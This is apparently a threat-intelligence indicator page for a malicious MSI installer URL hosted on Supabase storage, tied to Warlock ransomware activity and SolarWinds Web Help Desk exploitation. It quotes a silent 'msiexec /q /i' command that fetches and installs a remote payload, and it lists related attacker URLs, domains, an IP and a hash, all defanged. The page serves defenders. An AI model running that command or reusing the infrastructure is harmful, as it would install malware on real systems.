hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msiURL
Reported by 3 independent sources · first reported by Huntress · last reported
Last reported 7 months ago
What the reports say
3 reports, newest first · the exact sentence from each-
Web Shells, Tunnels, and Ransomware: Dissecting a Warlock Attack“msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi”
-
SolarWinds Web Help Desk Exploitation - February 2026“msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi”
-
Active Exploitation of SolarWinds Web Help Desk (CVE-2025-26399)“msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi”
Indicators reported together
named in the same reports- hxxps://files.catbox[.]moe/tmp9fc.msiin 2 reports
- hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msiin 2 reports
- litter.catbox[.]moein 1 report
- code.translatevv[.]comin 1 report
- hxxps://litter.catbox[.]moe/zqqxb3.txtin 1 report
- hxxps://files.catbox[.]moe/wzsjlw.dllin 1 report
- hxxps://litter.catbox[.]moe/uaw2gm.txtin 1 report
- hxxp://127.0.0[.]1in 1 report
- 198.13.158[.]193in 1 report
- blnwx[.]comin 1 report
- hxxps://auth.qgtxtebl.workers[.]dev/in 1 report
- auth.qgtxtebl.workers[.]devin 1 report
- v2-api.mooo[.]comin 1 report
- worker[.]devin 1 report
- 897eae49e6c32de3…c85cd538a189in 1 report
Copy these 15 indicators · defanged
Also named with it: CVE-2025-26399, CVE-2025-40551, CVE-2025-40536
Thanks — we review every report.